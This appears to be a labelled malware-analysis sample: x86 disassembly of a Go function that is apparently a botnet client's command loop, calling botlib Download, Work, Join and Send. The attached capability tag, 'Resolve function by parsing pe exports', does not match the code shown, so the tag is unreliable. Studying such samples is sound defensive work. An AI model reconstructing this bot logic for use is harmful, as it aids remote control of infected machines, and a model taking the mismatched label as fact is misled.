Function at 0x5c9f30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x5ca5a8
sub esp, 0x7c
mov byte [0x7e3660], 0
movzx eax, byte [0x7e3695]
test al, al
je 0x5ca55b
mov eax, dword [0x7d1c70]
mov ecx, dword [0x7d1c74]
mov dword [esp], eax
mov dword [esp + 4], ecx
lea eax, [0x637d15]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dbg.botlib.Download
mov eax, dword [esp + 0x18]
mov dword [esp + 0x74], eax
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x5c9fed
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 1
add esp, 0x7c
ret
test eax, eax
je 0x5ca554
mov ecx, dword [eax]
test ecx, ecx
jne 0x5c9ffd
jmp 0x5c9fa9
lea ecx, [0x5fe6e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5ca22c
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5ca17f
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
lea edx, [0x638ad7]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 7
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5ca0ed
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call dbg.botlib.Work
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 4], eax
lea ecx, [0x638ad7]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 7
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x5ca178
movzx eax, byte [ecx]
cmp al, 0x70
je 0x5ca12f
jmp 0x5ca09d
call dbg.main.Init
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
call dbg.runtime.panicindex
ud2
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
test ecx, ecx
jbe 0x5ca225
movzx eax, byte [eax]
cmp al, 0x43
je 0x5ca1c1
jmp 0x5ca069
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call dbg.botlib.Join
mov dword [esp], 0xa817c800
mov dword [esp + 4], 4
call dbg.time.Sleep
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
call dbg.runtime.panicindex
ud2
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x5ca54d
movzx eax, byte [ecx]
cmp al, 0x47
je 0x5ca272
jmp 0x5ca031
call dbg.time.Now
mov eax, dword [0x7e36dc]
mov ecx, 0x30b8a000
mov ebx, eax
mul ecx
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 8]
mov dword [esp + 0x38], ecx
mov ebp, dword [esp + 4]
mov dword [esp + 0x34], ebp
mov esi, dword [esp]
mov dword [esp + 0x2c], esi
mov dword [esp], eax
mov edi, ebx
sar ebx, 0x1f
imul ebx, ebx, 0x30b8a000
add edx, ebx
imul edi, edi, 0x346
add edx, edi
mov dword [esp + 0x50], edx
mov dword [esp + 4], edx
mov dword [esp + 8], 0x3b9aca00
mov dword [esp + 0xc], 0
call dbg.runtime.int64div
mov eax, dword [esp + 0x10]
mov dword [esp + 0x4c], eax
mov ecx, dword [esp + 0x80]
add ecx, eax
mov dword [esp + 0x30], ecx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x48], ebx
mov ebp, dword [esp + 0x3c]
mov dword [esp], ebp
mov esi, dword [esp + 0x50]
mov dword [esp + 4], esi
mov dword [esp + 8], 0x3b9aca00
mov dword [esp + 0xc], 0
call dbg.runtime.int64div
mov eax, dword [esp + 0x10]
mov ecx, 0x3b9aca00
mul ecx
mov ecx, dword [esp + 0x3c]
sub ecx, eax
mov eax, dword [esp + 0x80]
mov edx, dword [esp + 0x4c]
add edx, eax
mov edx, dword [esp + 0x48]
mov ebx, dword [esp + 0x84]
adc edx, ebx
mov ebp, dword [esp + 0x88]
lea esi, [ebp + ecx]
cmp esi, 0x3b9aca00
jl 0x5ca528
mov esi, dword [esp + 0x30]
add esi, 1
lea ecx, [ebp + ecx - 0x3b9aca00]
adc edx, 0
mov edi, dword [esp + 0x34]
cmp edi, edx
sete al
mov ebx, dword [esp + 0x2c]
cmp ebx, esi
xchg ebp, ebx
seta bl
xchg ebp, ebx
and eax, ebp
cmp edi, edx
xchg ebp, ebx
setg bl
xchg ebp, ebx
or ebp, eax
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x5ca503
mov eax, 1
test al, al
jne 0x5ca3e4
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov edx, dword [esp + 0x8c]
mov ebx, dword [esp + 0x88]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], ecx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], edx
mov byte [esp + 0xa0], 1
add esp, 0x7c
ret
mov eax, dword [0x7e36dc]
mov dword [esp], eax
call dbg.strconv.Itoa
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
lea edx, [esp + 0x54]
mov dword [esp], edx
lea edx, [0x63ca6e]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x14
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call dbg.runtime.concatstring2
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp], 0
call dbg.runtime.stringtoslicebyte
mov eax, dword [esp + 0x14]
mov dword [esp + 0x44], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x40], ecx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x78], edx
mov dword [esp], 0
mov ebx, dword [0x7d1c74]
mov ebp, dword [0x7d1c70]
mov dword [esp + 4], ebp
mov dword [esp + 8], ebx
lea ebx, [0x637c57]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], 2
call dbg.runtime.concatstring2
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
mov eax, dword [0x7d17cc]
mov dword [esp + 0xc], eax
lea eax, [0x637c2c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 1
lea eax, [0x637c2e]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 1
mov eax, dword [0x7e36e0]
mov dword [esp + 0x28], eax
call dbg.botlib.Send
call dbg.time.Now
mov ebx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 4]
mov eax, dword [esp]
jmp 0x5ca3bc
cmp edx, edi
sete al
cmp esi, ebx
sete dl
and eax, edx
test al, al
je 0x5ca521
mov eax, dword [esp + 0x38]
cmp eax, ecx
setg al
jmp 0x5ca39c
xor eax, eax
jmp 0x5ca39c
test esi, esi
jge 0x5ca542
mov esi, dword [esp + 0x30]
add esi, 0xffffffff
lea ecx, [ebp + ecx + 0x3b9aca00]
adc edx, 0xffffffff
jmp 0x5ca36a
mov ecx, esi
mov esi, dword [esp + 0x30]
jmp 0x5ca36a
call dbg.runtime.panicindex
ud2
xor ecx, ecx
jmp 0x5c9ff7
call dbg.main.setParameters
call dbg.main.Init
mov byte [0x7e3695], 1
call dbg.time.Now
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov ebx, dword [esp]
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ecx
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
call dbg.runtime.morestack_noctxt
jmp dbg.main.protocol_1